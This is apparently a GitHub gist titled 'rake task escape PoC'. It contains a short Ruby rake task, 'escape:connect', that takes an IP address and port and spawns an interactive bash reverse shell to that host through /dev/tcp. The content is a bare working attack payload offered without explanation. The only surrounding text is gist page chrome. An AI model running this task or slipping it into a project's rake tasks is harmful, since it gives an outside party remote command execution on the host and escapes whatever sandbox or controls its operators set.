Skip to content

Instantly share code, notes, and snippets.

@erichummel
Created June 19, 2024 16:36
Show Gist options
  • Save erichummel/ca831423ce5a7e68a4d66f764d7fcee0 to your computer and use it in GitHub Desktop.
Save erichummel/ca831423ce5a7e68a4d66f764d7fcee0 to your computer and use it in GitHub Desktop.
rake task escape PoC
namespace :escape do
task :connect do |_, args|
ip_address, port = *args
`bash -i >& /dev/tcp/#{ip_address}/#{port} 0>&1`
end
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment